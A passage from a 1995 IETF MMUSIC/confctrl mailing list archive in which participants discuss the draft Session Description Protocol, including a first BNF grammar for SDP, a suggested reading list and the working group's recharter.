The 4 bytes is for SDPv1 compatibility.  However, given the
incompatibility with start and stop times anyway, this may be less
relevant.  We should discuss this in Danvers.

>The issue of whether a single encoding or a list of candidates is 
>better also remains to be resolved. I tend to favor a list, as a list 
>conveys more information (e.g., I might choose a different viewer that 
>supports all likely encodings rather than the one listed in the sd 
>announcement, which may have nothing to do with the one currently in 
>use). This becomes more important as receiver-feedback scaling might 
>lead to switching between algorithms. Also, it might provide some 
>possibility for better error indication, avoiding the 'my video tool 
>says it doesn't understand the current encoding; sd says, only H261 is 
>to be used; ivs understands H.261'.  This also allows some early 
>warning as in 'I saw you might be using FOOBAR in your session. I'm 
>doing a demo at the White House and my new video widget doesn't 
>understand FOOBAR. Would you mind not using it?'.

I can understand why you might want a list, but it leads to other
problems.  For instance, if you have two encodings listed, and you
only have two distinct tools - one for each encoding, which one do you
start?  Now I'd love to see all tools support all encodings, but I
don't want to attempt to dictate it or we'll stifle interesting
research.

For receiver-feedback controlled encodings, perhaps we could have
recommended "encoding groups" where a group is effectively your format
list, but under a single name with a recommended bandwidth/coding
scheme progression.  That way maybe you'd be less likely to attempt to
join a conference if your tool only supported a subset of the listed
encodings.

Mark

From owner-confctrl@ISI.EDU  Wed Apr  1 14:45:02 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA08550>; Wed, 29 Mar 1995 02:50:33 -0800
Received: from ceres.fokus.gmd.de by venera.isi.edu (5.65c/5.61+local-21)
	id <AA08539>; Wed, 29 Mar 1995 02:49:43 -0800
Message-Id: <199503291049.AA08539@venera.isi.edu>
Received: from lupus (actually lupus.fokus.gmd.de) by ceres.fokus.gmd.de 
          with SMTP (PP-ICR1v5); Wed, 29 Mar 1995 12:45:43 +0200
X-Mailer: exmh version 1.5.3 12/28/94
To: Mark Handley <M.Handley@cs.ucl.ac.uk>
Cc: confctrl
From: Henning Schulzrinne <schulzrinne@fokus.gmd.de>
Subject: Re: Comments on sd draft
In-Reply-To: Your message of "Tue, 28 Mar 1995 20:17:54 BST." <3104.796418274@cs.ucl.ac.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Wed, 29 Mar 1995 12:45:02 +0200
Sender: schulzrinne@fokus.gmd.de

> I prefer
> not to use HTML (though I toyed with it briefly in sdr).  It tends to
> lead to long descriptions, which is not really the intention - the URL
> (URI?) field is for that.

HTML was strictly in jest. For obious reasons, anything that encourages 
long-windedness is evil. One alternative if you absolutely need it, 
would be the use of the actual control character \r. Simpler to parse, 
as well.


> 
> "In general <value> is either a number of fields delimited by a single
> space character or free format string."

Maybe amplify, space (0x20), as some think of space = white space, 
including tabs and such.


> >10) The encodings might want to reference the ones in the RTP profile. 
> >The two sets should be roughly the same.
> 
> Agreed.  I was listing the ones in use today, but a reference would be
> good.  However not all sessions are RTP based (imm, wb, ...).

Should have said that the RTP values should be a strict subset of the 
sd list.

> 
> I was wondering whether we needed to distinguish RTP formats from none
> RTP formats in some way, but in the end left it out of this draft.

I hope not.

> 
> >11) p.11: sdp means what?
> 
> I think the word "attribute" has been omitted.

And what does sdp stand for?

> 
> >12) Maybe phone number and email should reference the same format as in 
> >RTCP? (This allows pasting into my automatic dialer and discourages the 
> >US-centric phone numbers like (617) 555-1212 instead of +1 617 555 
> >1212.)
> 
> Agreed.  But how does this deal with where you should or shouldn't add
> a leading zero if you're in the same country.  For instance +44 171
> 387 7050 is 0171 387 7050 from within the UK.  Dialing 0044 171 387
> 7050 simply doesn'k work.  There should be a way to indicate what to
> add if you're in the relevant country.  +44 (0) 171 387 7050 is
> sometimes used as a convention for this.  What's the situation elsewhere?

Pretty common situation. The US is, I believe, one of the few countries 
where the international prefix (1) is the same as the long distance 
prefix (1). You dial the first when you call from the UK, the second 
when you call within the US. Fortunately, the phone dial can't tell the 
difference. But there is indeed a difference: if you want an 
operator-assisted LD call, you'd dial 0 617 555 1212.
The algorithm is pretty simple: If you see a +, check if the next 
number is the same as your own country. If yes, dial the long distance 
prefix (after checking that it's not a local number), if no, dial your 
international access code (00, in your case and many other countries, 
but 011 from the U.S. and Canada) and the remainder. I don't know 
whether the (0) is a recognized convention.


> 
> >13) Interpreting bandwidth as 'application defined' is a bit vague 
> >unless you implicitly define a 'default' application that sets the 
> >standard for each media/encoding. If I want to build an application 
> >that understands jpeg, do I have to reverse engineer whichever JPEG 
> >application(s) already exist?
> 
> Hmm.  The current wording is very deliberate.  We don't believe we
> have enough experience to specify the meaning of bandwidth precisely.
> There is an optional modifier for this purpose which is also currently
> undefined.

But the problem remains, unless you have monopolistic applications.

> 
> >14) Having a protocol that implies 4-byte IP addresses (p. 2) seems a 
> >bit short-sighted just as IPng is going to Proposed. Other references 
> >implying IPv4 should also probably be made more general, but they are 
> >harmless since they are text strings.
> 
> The 4 bytes is for SDPv1 compatibility.  However, given the
> incompatibility with start and stop times anyway, this may be less
> relevant.  We should discuss this in Danvers.

I was wondering how the a= notation is motivated. From a Tcl 
perspective, simply having a <space> makes it easy to split the thing 
into a list. Standard (SMTP/HTTP/NNTP/etc.) convention seems to use a 
colon.


> 
> I can understand why you might want a list, but it leads to other
> problems.  For instance, if you have two encodings listed, and you
> only have two distinct tools - one for each encoding, which one do you
> start? 

At least in that case, you are forewarned and you can have a default of 
using the first one listed. If you don't do this and the sender 
switches, you are hosed in the middle of the session.

> Now I'd love to see all tools support all encodings, but I
> don't want to attempt to dictate it or we'll stifle interesting
> research.

I doubt that will ever be feasible, particularly now that companies are 
pushing low-bandwidth audio encodings. (True Speech, etc.).

> 
> For receiver-feedback controlled encodings, perhaps we could have
> recommended "encoding groups" where a group is effectively your format
> list, but under a single name with a recommended bandwidth/coding
> scheme progression.  That way maybe you'd be less likely to attempt to
> join a conference if your tool only supported a subset of the listed
> encodings.

The RTP profile contains an attempt at specifying a minimum set of 
interopable encodings. Your set name idea may be workable.

> 
> Mark

Henning


From owner-confctrl@ISI.EDU  Wed Apr  1 18:30:40 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA10670>; Wed, 29 Mar 1995 04:29:18 -0800
Received: from cs.tut.fi by venera.isi.edu (5.65c/5.61+local-21)
	id <AA10640>; Wed, 29 Mar 1995 04:27:12 -0800
Received: from isosotka.cs.tut.fi (isosotka.cs.tut.fi [130.230.17.14]) by cs.tut.fi (8.6.11/8.6.4) with ESMTP id PAA28567; Wed, 29 Mar 1995 15:30:21 +0300
From: Tsokkinen Mikko <mit@cs.tut.fi>
Received: (mit@localhost) by isosotka.cs.tut.fi (8.6.10/8.6.4) id PAA10822; Wed, 29 Mar 1995 15:30:40 +0300
Date: Wed, 29 Mar 1995 15:30:40 +0300
Message-Id: <199503291230.PAA10822@isosotka.cs.tut.fi>
To: Mark Handley <M.Handley@cs.ucl.ac.uk>
Cc: confctrl
Subject: Re: Session Description Protocol draft available.
In-Reply-To: <3778.796330615@cs.ucl.ac.uk>
References: <3778.796330615@cs.ucl.ac.uk>

Mark Handley writes:
 > 
 > 
 > The Session Description Protocol (sd protocol) draft that we talked
 > about at the San Jose IETF was submitted to the Internet Drafts editor
 > on Friday.  I haven't heard anything back yet, so this draft is not
 > yet in the internet-drafts directories, but it is available from our
 > WWW server.
 > 
 > Comments are of course welcome, but I hope we'll have time to discuss
 > this properly in the WG meeting in Danvers.

I read the draft and have some comments.

First I am glad that this kind of draft is finally released, makes it
much easier to understand how sd works, however this draft is does not
contain enough information about how to make session tool (e.g.
address allocation algorithm is missing).

I have some suggestions/questions for consideration:

I suggest changes that would make it possible to have any number of
complex media descriptions inside a session. SDP-tool could be used to
announce besides some conferencing addresses, other resources e.g.
urls as well.

Also the SDP-tool could be constructed in a way that each media 
description can be "opened" independently so that user could
select e.g. between high-bandwidth video vs. low bandwidth or
audio in different langages, fetch some IETF drafts using
ftp URL or see relevant pages using WWW URL.

These suggestions only give ideas about what I mean, they are not
meant to read literally.

Session description

- Remove URL, I suggest URL mediatype, see later

Media description

- Change description so that it contains either u=url or m=media name/transport
  control
  (this would mean that any number of internet resources (URLs) could
   be announced, not just tool parameters.)
- Add format type into m-field
  (This will be reuired in any case for practical tools to work.)
- Add optional information field
  (This would mean that one session could contain e.g. the audio
   media descriptions, e.g. audio in English and in Finnish, and
   each have different comment field.)
- Add optional bandwidth info field
  (This could used by the user too see which mediatypes to "open".)

Here is an example how this suggested system could look like:

s=IETF Meeting
i=AVT group meeting in Denver
o=mit@tele.fi
c=224.2.42.42/4 127 11111111111 222222222222
u=http://www.mbone.net/avt/
i=Background information
u=ftp://nic.nordu.net/drafts
i=Relevant IETF drafts
m=audio 3456 0 gsm
i=International audio in Esperanto
b=17kbps
m=audio 3457 0 pcm
i=USA audio in English
b=78kbps
m=video 2232 0 h261
b=64kbps
a=size:QCIF
m=whiteboard 4242 0 wb
a=orient:portrait

Would do you think?

Mikko I. Tsokkinen xxxxx Mit                           <Mikko.Tsokkinen@tele.fi>
R & D Engineer
Telecom Finland Ltd./Telegate/Medialaboratory
"The universal language of the Net will be spoken 53 bytes at a time."
 - S.G.Steinberg

From owner-confctrl@ISI.EDU  Thu Apr  2 15:32:15 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA28773>; Thu, 30 Mar 1995 05:44:38 -0800
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-21)
	id <AA28760>; Thu, 30 Mar 1995 05:43:45 -0800
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA15550>; Thu, 30 Mar 1995 05:39:05 -0800
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.19988-0@bells.cs.ucl.ac.uk>; Thu, 30 Mar 1995 14:33:57 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
Organisation: University College London, CS Dept.
Phone: +44 71 380 7777 ext 3666 or +44 71 387 7050 ext 3666
To: Henning Schulzrinne <schulzrinne@fokus.gmd.de>
Cc: confctrl
Subject: draft of SDP Grammar
Date: Thu, 30 Mar 95 14:32:15 +0100
Message-Id: <7712.796570335@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


> 7) A bit of guidance about things like whitespace might help. Maybe 
> even a more formal notation like HTTP uses. What about control 
> characters (tab, ^A, ^H, etc.)? I'd want to avoid somebody sending 
> xterm control codes...

Henning,

The following is my first attempt at a grammar for SDP.  I hope it
accurately represents what's in the internet-draft, but there's no
guarantee it does.  If it contradicts the i-d, then take the i-d as
being the correct version.

Comments and corrections are welcome.

Mark

--------8<--------
SDP v 2.0 grammar draft 1.0

announcement ::= 	session-name-field 
			description-field 
			uri-field 
			owner-field
			email-fields
			phone-fields
			origin-field
			connection-field
			bandwidth-field
			time-fields
			key-field
			attribute-fields
			media-descriptions

session-name-field ::=	"s=" text

description-field ::=	[newline "i=" text]

uri-field ::= 		[newline "u=" uri]

owner-field ::= 	newline "o=" username @ hostname

email-fields ::= 	(newline "e=" email-address)*

phone-fields ::= 	(newline "p=" phone-number)*

origin-field ::=	[newline "h=" unicast-address]

connection-field ::=	newline "c=" connection-address space ttl space 
			start-time space stop-time

bandwidth-field ::=	[newline "b=" bandwidth [space bandwidth-modifier]]

time-fields ::=		(newline "t=" repeat-time)*

key-field ::=		[newline "k=" (printable-ascii)+]

attribute-fields ::=	(newline "a=" attribute)*

media-descriptions ::= 	( media-field
			  connection-field
			  key-field
			  attribute-fields )*

media-field ::=		newline "m=" media space port space id

media ::=		(alpha-numeric)+
			;typically "audio", "video" or "whiteboard"

port ::=		POS-DIGIT [DIGIT] 3*DIGIT
			;should in the range "1024" to "65535"

id ::=			(DIGIT)+
			;typically "0"

attribute ::=		att-field ":" att-value | att-field

att-field ::=		(ALPHA)+

att-value ::=		(att-char)+

att-char ::=		alpha-numeric | "-"
			;is this too tight a restriction

connection-address ::=	multicast-conf-address | unicast-address

multicast-conf-address ::=	"224.2." decimal_uchar "." decimal_uchar
			;multicast addresses may be in a larger range
			;but only these should be assigned by an sdp tool

ttl ::=			decimal_uchar

start-time ::=		time | "0"

stop-time ::=		time | "0"

time ::=		POS-DIGIT 9*DIGIT
			;sufficient for 2 more centuries

bandwidth ::=		(DIGIT)+

bandwidth-modifier ::=	(alpha-numeric)+

repeat-time ::=		mins space 
			hrs space 
			doms space 
			moys space 
			dows space 
			duration

mins ::=		min ("," min)*

min ::=			[1|2|3|4|5] DIGIT

hrs ::=			hr ("," hr)*

hr ::=			[1] digit | 2 (0|1|2|3)

doms ::=		"*" | dom ("," dom)*

dom ::=			[1|2] DIGIT | 3 (0|1)

moys ::=		"*" | moy ("," moy)*

moy ::=			POS-DIGIT | 1 (0|1|2)

dows ::=		"*" | dow ("," dow)*

dow ::=			0|1|2|3|4|5|6

duration ::=		POS-DIGIT (DIGIT)*

username ::=		;not defined here

hostname ::=		hostpart ("." hostpart)*
			;fully qualified DNS host name

hostpart ::=		(hostchar)+

hostchar ::=		alpha-numeric | "-" | "_" | "/"
			;what do hostnames allow?

email-address ::=	;defined in RFC822

uri::=			;defined elsewhere

phone-number ::=	"+" POS-DIGIT (space | DIGIT)+
			;there must be a space between the international
			;code and the rest of the number.

unicast-address ::=	IP4-address | IP6-address
			
IP4-address ::=		b1 "." decimal_uchar "." decimal_uchar "." b4
b1 ::=			decimal_uchar
			;less than "224"; not "0" or "127"
b4 ::=			decimal_uchar
			;not "0"

IP6-address ::=		;to be defined

text ::=		(printable-iso8859-1)+ | (unicode-1-1-utf-7)+
			;unicode requires a "a=charset:unicode-1-1-utf-7"
			;attribute to be used

printable-iso8859-1 ::= ;8 bit ascii character
			;decimal 9 (TAB), 32-126 and 161-255

unicode-1-1-utf-7 ::=	unicode-safe
			;defined in RFC 1642

decimal_uchar ::=	DIGIT 
			| POS-DIGIT DIGIT
			| (1 2*DIGIT) 
			| (2 (0|1|2|3|4) DIGIT) 
			| (2 5 (0|1|2|3|4|5))

alpha-numeric ::=	ALPHA | DIGIT

printable-ascii ::=	unicode-safe | "~" | "\"

DIGIT ::=		0 | POS-DIGIT

POS-DIGIT ::=		1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9

ALPHA ::=               a | b | c | d | e | f | g | h | i | j | k |
                        l | m | n | o  | p | q | r | s | t | u | v |
                        w | x | y | z | A | B | C  | D | E | F | G |
                        H | I | J | K | L | M | N | O | P |  Q | R |
                        S | T | U | V | W | X | Y | Z

unicode-safe ::=	alpha-numeric |
			"'" | "(" | ")" | "'" | "-" | "." | "/" | ":" |
			"?" | """ | "#" | "$" | "&" | "*" | ";" | "<" |
			"=" | ">" | "@" | "[" | "]" | "^" | "_" | "`" |
			"{" | "|" | "}" | "+" | space | tab
			;although unicode allows newline and carriage
			;return, we don't here.

space ::=		;ascii code 32
tab ::=			;ascii code 9
newline ::=		;ascii code 10

From owner-confctrl@ISI.EDU  Thu Apr  2 17:50:53 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA03026>; Thu, 30 Mar 1995 08:01:00 -0800
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-21)
	id <AA03020>; Thu, 30 Mar 1995 08:00:59 -0800
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA17199>; Thu, 30 Mar 1995 07:54:42 -0800
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.10220-0@bells.cs.ucl.ac.uk>; Thu, 30 Mar 1995 16:52:38 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
Organisation: University College London, CS Dept.
Phone: +44 71 380 7777 ext 3666
To: Tsokkinen Mikko <mit@cs.tut.fi>
Cc: confctrl
Subject: Re: Session Description Protocol draft available.
In-Reply-To: Your message of "Wed, 29 Mar 95 15:30:40 +0200." <199503291230.PAA10822@isosotka.cs.tut.fi>
Date: Thu, 30 Mar 95 16:50:53 +0100
Message-Id: <8031.796578653@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


>I read the draft and have some comments.
>
>First I am glad that this kind of draft is finally released, makes it
>much easier to understand how sd works, however this draft is does not
>contain enough information about how to make session tool (e.g.
>address allocation algorithm is missing).

This is not meant to be a description of sd, just of sdp. Informed
Partitioned Random Address allocation was described at Sigcomm 94.
However, a precise description does not exist to my knowledge.

>I have some suggestions/questions for consideration:
>
>I suggest changes that would make it possible to have any number of
>complex media descriptions inside a session. SDP-tool could be used to
>announce besides some conferencing addresses, other resources e.g.
>urls as well.
>
>Also the SDP-tool could be constructed in a way that each media 
>description can be "opened" independently so that user could
>select e.g. between high-bandwidth video vs. low bandwidth or
>audio in different langages, fetch some IETF drafts using
>ftp URL or see relevant pages using WWW URL.
>
>These suggestions only give ideas about what I mean, they are not
>meant to read literally.
>
>Session description
>
>- Remove URL, I suggest URL mediatype, see later
>
>Media description
>
>- Change description so that it contains either u=url or m=media name/transpor
>t
>  control
>  (this would mean that any number of internet resources (URLs) could
>   be announced, not just tool parameters.)
>- Add format type into m-field
>  (This will be reuired in any case for practical tools to work.)
>- Add optional information field
>  (This would mean that one session could contain e.g. the audio
>   media descriptions, e.g. audio in English and in Finnish, and
>   each have different comment field.)
>- Add optional bandwidth info field
>  (This could used by the user too see which mediatypes to "open".)
>
>Here is an example how this suggested system could look like:
>
>s=IETF Meeting
>i=AVT group meeting in Denver
>o=mit@tele.fi
>c=224.2.42.42/4 127 11111111111 222222222222
>u=http://www.mbone.net/avt/
>i=Background information
>u=ftp://nic.nordu.net/drafts
>i=Relevant IETF drafts
>m=audio 3456 0 gsm
>i=International audio in Esperanto
>b=17kbps
>m=audio 3457 0 pcm
>i=USA audio in English
>b=78kbps
>m=video 2232 0 h261
>b=64kbps
>a=size:QCIF
>m=whiteboard 4242 0 wb
>a=orient:portrait
>
>Would do you think?
>
>Mikko I. Tsokkinen xxxxx Mit                           <Mikko.Tsokkinen@tele.f

I'll deal with your points one at a time:

- Allowing multiple URL fields

  Why is this necessary?  Links from the first URL can do all you want.
  Henning suggesting it should be a URI rather than a URL and of course
  he's correct.

- Using URLs for media tool descriptions.  eg: audio://224.2.0.1:3456/pcm

  (maybe this wasn't what you meant, but it's an extension of the above)

  This is possible, but personally I believe it's overloading the URL
  syntax somewhat and doesn't shorten the description significantly.

  If you're wondering about using such URLs in WWW documents at a later 
  stage - again we've looked at this, but defining a URL syntax makes
  adding functionality later tricky, and also makes it difficult to
  start media tools with the necessary inter-tool associations for
  conference control, lip synchronisation and so forth.  
  We're recommending the use of a content-type application/x-sd and 
  returning an sdp decription for such usage.

- Adding the media format to the media field.

  This would be possible, but I believe is undesirable.  There's still
  some debate about the use of the a=fmt:* attribute, and no-one
  really believes we'll definitely get this right in the first pass
  (there are interesting new formats being developed that may require
  more information than just a single format entry).  Having it as an
  attribute allows more scope for experimentation.

- Allowing b= fields per media

  I have no great problem with this, and it was in the talk I gave at the
  last IETF.  Van is reluctant to get into bandwidth definitions 
  though, and I can understand why.  I don't believe b= fields
  are relevant with many of the existing audio formats as they're fixed 
  (and known) bandwidth anyway.  It may be relevant for new audio formats
  or for video formats, but there's definitely a problem here getting
  unskilled users to give some sensible figure.  I'd rather have no figure
  than have it wrong often.

- Allowing i= fields per media

  If you only have one media of a particular type, this shouldn't be
  necessary.  If you have more than one video or audio stream, I can
  see why this might be needed.  How often is this likely to be the case?
  In most such cases, I believe there should be multiple announcements.

Session descriptions don't want to be too general or the temptation to
put too much information in them is great.  They must be short.  In
general, we've tried to be pretty minimalist in the SDPv2 definition
(though not quite as minimalist as SDPv1).  Descriptive information
has been omitted to the maximum extent possible as it should all be
reachable via the URI.  Information in SDP descriptions is that which
is needed to start your session, sufficient information for scheduling
and minimal contact data for when all else fails.  I believe we should
attempt to keep to this model.
  
Mark



From owner-confctrl@ISI.EDU  Thu Apr  2 04:09:18 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA14249>; Thu, 30 Mar 1995 12:10:14 -0800
Received: from eitech.eit.COM by venera.isi.edu (5.65c/5.61+local-21)
	id <AA14245>; Thu, 30 Mar 1995 12:10:14 -0800
Received: from collage (collage.eit.COM) by eitech.eit.com (4.1/SMI-4.1)
	id AA24095; Thu, 30 Mar 95 12:09:18 PST
Date: Thu, 30 Mar 95 12:09:18 PST
From: vinay@eit.COM (Vinay Kumar)
Message-Id: <9503302009.AA24095@eitech.eit.com>
To: mit@cs.tut.fi, M.Handley@cs.ucl.ac.uk
Subject: Re: Session Description Protocol draft available.
Cc: confctrl


> From owner-confctrl@ISI.EDU  Thu Mar 30 08:47:30 1995
> Delivery-Date: Thu, 30 Mar 1995 08:47:32 -0800
> From: Mark Handley <M.Handley@cs.ucl.ac.uk>
> To: Tsokkinen Mikko <mit@cs.tut.fi>
> Organisation: University College London, CS Dept.
> Phone: +44 71 380 7777 ext 3666
>
> I'll deal with your points one at a time:
> 
> - Allowing multiple URL fields
> 
>   Why is this necessary?  Links from the first URL can do all you want.
>   Henning suggesting it should be a URI rather than a URL and of course
>   he's correct.
> 
> - Using URLs for media tool descriptions.  eg: audio://224.2.0.1:3456/pcm
> 
>   (maybe this wasn't what you meant, but it's an extension of the above)
> 

Minor quick observation:

In my opinion, the URL may look like this instead,

	sdp://224.2.0.1:3456/pcm
or
	rtp://224.2.0.1:3456/pcm
....
right ?!

It's a simple syntax in some way but i agree with Mark, it's overloading 
the URL syntax.
Regards
---
 Vinay Kumar
vinay@eit.com

From owner-confctrl@ISI.EDU  Fri Apr  3 22:41:18 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA02630>; Thu, 30 Mar 1995 18:44:03 -0800
Received: from cheops.anu.edu.au by venera.isi.edu (5.65c/5.61+local-21)
	id <AA02626>; Thu, 30 Mar 1995 18:44:00 -0800
Message-Id: <199503310244.AA02626@venera.isi.edu>
Received: by cheops.anu.edu.au
	(1.37.109.15/16.2) id AA025877678; Fri, 31 Mar 1995 12:41:18 +1000
From: Darren Reed <avalon@coombs.anu.edu.au>
Subject: Re: Session Description Protocol draft available.
To: vinay@eit.COM (Vinay Kumar)
Date: Fri, 31 Mar 1995 12:41:18 +1000 (EST)
Cc: mit@cs.tut.fi, M.Handley@cs.ucl.ac.uk, confctrl
In-Reply-To: <9503302009.AA24095@eitech.eit.com> from "Vinay Kumar" at Mar 30, 95 12:09:18 pm
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 622       

[...]
> > - Using URLs for media tool descriptions.  eg: audio://224.2.0.1:3456/pcm
> > 
> >   (maybe this wasn't what you meant, but it's an extension of the above)
> > 
> 
> Minor quick observation:
> 
> In my opinion, the URL may look like this instead,
> 
> 	sdp://224.2.0.1:3456/pcm
> or
> 	rtp://224.2.0.1:3456/pcm
> ....
> right ?!
> 
> It's a simple syntax in some way but i agree with Mark, it's overloading 
> the URL syntax.

Ummm, hmmm, there are 3 parts to an address as used by sd...the IP#, the
port and ID.  Shouldn't all three of these be represented in the URL or
is the ID not actually needed ?

darren

From owner-confctrl@ISI.EDU  Fri Apr  3 12:28:51 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA15561>; Fri, 31 Mar 1995 02:35:13 -0800
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-21)
	id <AA15557>; Fri, 31 Mar 1995 02:35:11 -0800
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA13076>; Fri, 31 Mar 1995 02:35:05 -0800
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.16228-0@bells.cs.ucl.ac.uk>; Fri, 31 Mar 1995 11:30:41 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
Organisation: University College London, CS Dept.
Phone: +44 71 380 7777 ext 3666
To: Darren Reed <avalon@coombs.anu.edu.au>
Cc: vinay@eit.COM (Vinay Kumar), mit@cs.tut.fi, confctrl
Subject: Re: Session Description Protocol draft available.
In-Reply-To: Your message of "Fri, 31 Mar 95 12:41:18 +0900."
Date: Fri, 31 Mar 95 11:28:51 +0100
Message-Id: <10031.796645731@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


>[...]
>> > - Using URLs for media tool descriptions.  eg: audio://224.2.0.1:3456/pcm
>> > 
>> >   (maybe this wasn't what you meant, but it's an extension of the above)
>> > 
>> 
>> Minor quick observation:
>> 
>> In my opinion, the URL may look like this instead,
>> 
>> 	sdp://224.2.0.1:3456/pcm
>> or
>> 	rtp://224.2.0.1:3456/pcm
>> ....
>> right ?!
>> 
>> It's a simple syntax in some way but i agree with Mark, it's overloading 
>> the URL syntax.
>
>Ummm, hmmm, there are 3 parts to an address as used by sd...the IP#, the
>port and ID.  Shouldn't all three of these be represented in the URL or
>is the ID not actually needed ?

For rtp, id is obsolete.  vat still uses it though.

Mark

From owner-confctrl@ISI.EDU  Thu Apr  2 18:59:20 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA16063>; Fri, 31 Mar 1995 03:00:50 -0800
Received: from vlsi.cs.caltech.edu by venera.isi.edu (5.65c/5.61+local-21)
	id <AA16059>; Fri, 31 Mar 1995 03:00:48 -0800
Received: by vlsi.cs.caltech.edu (4.1/1.34.1)
	id AA07552; Fri, 31 Mar 95 02:59:20 PST
Date: Fri, 31 Mar 95 02:59:20 PST
From: schooler@cs.caltech.edu (Eve Schooler)
Message-Id: <9503311059.AA07552@vlsi.cs.caltech.edu>
To: confctrl
Subject: Suggested readings for MMusic session
Cc: aweinrib@ibeam.jf.intel.com, mankin, mhandley@cs.ucl.ac.uk,
        rlang@std.sri.com, schooler@cs.caltech.edu


Hi all,

For those of you in search of things to do while in transit
to Danvers :-)  you may consider printing out a few of the suggested 
readings from the list below.  It was compiled to accompany the 
discussion items from the agenda for the MMusic session (it is in no 
particular order here).  

- Session description protocol: 
  "ftp://ftp.isi.edu/confctrl/docs/draft-ietf-mmusic-sdp-00.{txt, ps}
  [in internet-drafts directories as well]

- Agreement protocol: 
  "ftp://ftp.isi.edu/confctrl/docs/agree.ps"
  [finally in I-D format, and ready for formal submission.]

- Coordination protocol discussion:
  "ftp://gaiai.cs.umass.edu/pub/{Sch9504:Dynamic.ps.gz, 
				 Sch9502:Message.ps.gz}"

- Relationship between RTCP and session protocols:
  "ftp://ftp.isi.edu/internet-drafts/draft-ietf-avt-rtp-07.{txt, ps}"
  [in other internet-drafts directories]

- WWW and E-mail based session prototypes:
  "http://www.eit.com/softare/shared_mosaic.html"
 
- ITU pointers:
 "ftp://ftp.csn.net/ConferTech/" and "http://www.imtc.org/imtc "

- Working Group recharter (appended below):
  "ftp://ftp.isi.edu/confctrl/recharter"

  This warrants some explanation.  
  
  Abel Weinrib, who has co-chaired the MMusic working group since its
  inception, has taken on the task to head the Internet Research Task
  Force!  As a result of this new responsibility, he is stepping down
  from the chairship of this group.  Although we will certainly miss 
  his direct involvement, we would like to wish him the very best in 
  this exciting new role and hope he will remain involved in the WG 
  to the extent possible.

  Consequently, the chairship has been undergoing some transition.
  Presently, we have tapped Mark Handley of UCL and Ruth Lang of SRI to
  potentially help set the new direction (I say potentially only
  because the new charter has not been formally approved yet).  For
  those of you who may not know, they too have been integral members of
  the group since its beginning.  Although I expect to remain involved,
  I have been consumed this year with graduate school, but look forward
  to June when the completion of class requirements will allow me to
  participate more fully again.

  
~~~~~~~~~~~~~~~~

Multiparty Multimedia Session Control (mmusic)
----------------------------------------------

Charter

Current Status: Active Working Group

Chairs:
     Mark Handley		<m.handley@cs.ucl.ac.uk>
     Ruth Lang			<rlang@sri.com>  
     Eve Schooler		<schooler@cs.caltech.edu>

Transport Area Director:
     Allison Mankin		<mankin@isi.edu>

Mailing lists:
     General Discussion		confctrl@isi.edu
     To Subscribe		confctrl-request@isi.edu
     Archive			ftp.isi.edu:confctrl/confctrl.mail

Description of Working Group:

The demand for Internet multimedia teleconferencing has arrived as
evidenced by the explosive growth of the MBONE.  Multimedia session
control, defined as the advertisement, management, and coordination of
multiple sessions and their multiple users in multiple media (e.g.,
audio, video, collaborative applications), is one component of the
infrastructure required to support widespread teleconferencing.  The
Multiparty MUltimedia SessIon Control Working Group (MMUSIC) is
chartered to design and specify three protocols to perform these
functions, and to ensure session-level interoperability between
different teleconferencing implementations.

The protocols defined by this Working Group will support a range of
conference styles from tightly- to loosely-controlled sessions.
Tightly-controlled sessions require some degree of consistency among
sites, and often provide mechanisms to directly contact other users
for conference initiation and for negotiation of parameters such as
membership, media encodings, and encryption keys.  Loosely-controlled
sessions are more tolerant of losses and inconsistencies, permit fluid
(even unknown) membership, and rely on well-known, published
conference characteristics to dictate policy of constituent
applications.

Originally chartered to propose tightly-controlled conferencing
solutions, this group was rechartered in April 1995 to provide a more
balanced focus on the range of conferencing styles, with renewed
attention to solutions for the loosely-controlled conferences that are
pervasive on the MBONE today.  Toward this end, MMUSIC has already
sponsored the design and implementation of a Session Agreement
Protocol to manage shared ephemeral teleconferencing state for both
tightly- and loosely-controlled conferences.  The Working Group will
formally document the Session Agreement Protocol, and provide an
accompanying usage document to describe its application to the
coordination of multiple users in multiple media.  MMUSIC will adopt
additional goals including the documentation and extension of the
Session Description Protocol (SDP), the development of a Framework
document which embodies the architectural working model for protocols
developed by this Working Group, and the development of a Session
Coordination Protocol to manage the distributed processes (media
agents) that comprise the endpoint of a user's session.

The Working Group's protocols will reflect coordination with other
efforts related to multimedia conferencing, such as the RTP and RTCP
protocols developed by the Audio/Video Transport Working Group,
resource reservation and management at the network level, schemes for
multicast address allocation, World-Wide Web- and email-based session
advertisement and orchestration, and directory services for
cataloguing users and sessions.  In addition, the Working Group's
protocols will identify and describe interoperability issues with
related international standards such as T.120 (e.g., T.124, Generic
Conference Control) and industry consortium specifications such as the 
Personal Conferencing Working Group, and establish liaisons to the related
